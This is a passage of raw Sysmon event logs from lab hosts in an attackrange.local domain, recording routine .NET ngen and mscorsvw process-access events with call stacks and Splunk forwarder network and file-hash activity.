work\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.424{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2B-613B-3F08-00000000F001}4460C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.409{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2B-613B-3F08-00000000F001}4460C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.409{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2B-613B-3F08-00000000F001}4460C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000039632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:55.003{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=309042DE57B7D8423AA52154E30DEF99,SHA256=B8E04E509EDBF2CA545A52F648EE978B620A0D7309E026E5DDAFA979D740D23F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013787Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:55.408{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50111-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 354300x800000000000000013786Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:54.955{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50110-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000013785Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:56.765{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=762430D887454D124CCC97F7CF6F790A,SHA256=7A88B50E6504AD9B7E2224558D6F07E3DC8D2ABB96EFFCA9A264F1EDE99A971C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000039683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.799{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=15F5CD91AFD092DDD251592F8066625F,SHA256=F7E4D9714BC0D27759869A5781988E39BBD542C8AAE19A213D1DE37B04386875,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.581{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2C-613B-4E08-00000000F001}6228C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.565{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2C-613B-4E08-00000000F001}6228C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.565{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2C-613B-4E08-00000000F001}6228C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.503{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2C-613B-4D08-00000000F001}6824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.487{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2C-613B-4D08-00000000F001}6824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.487{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2C-613B-4D08-00000000F001}6824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.440{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2C-613B-4C08-00000000F001}7092C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.424{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2C-613B-4C08-00000000F001}7092C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.424{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2C-613B-4C08-00000000F001}7092C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.393{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2C-613B-4B08-00000000F001}5064C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.378{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2C-613B-4B08-00000000F001}5064C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.378{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2C-613B-4B08-00000000F001}5064C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.299{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2C-613B-4A08-00000000F001}6720C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.284{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2C-613B-4A08-00000000F001}6720C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.284{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2C-613B-4A08-00000000F001}6720C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000039667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.253{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2C-613B-4908-00000000F001}7028C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.237{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2C-613B-4908-00000000F001}7028C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:56.237{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2C-613B-4908-00000000F001}7028C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C: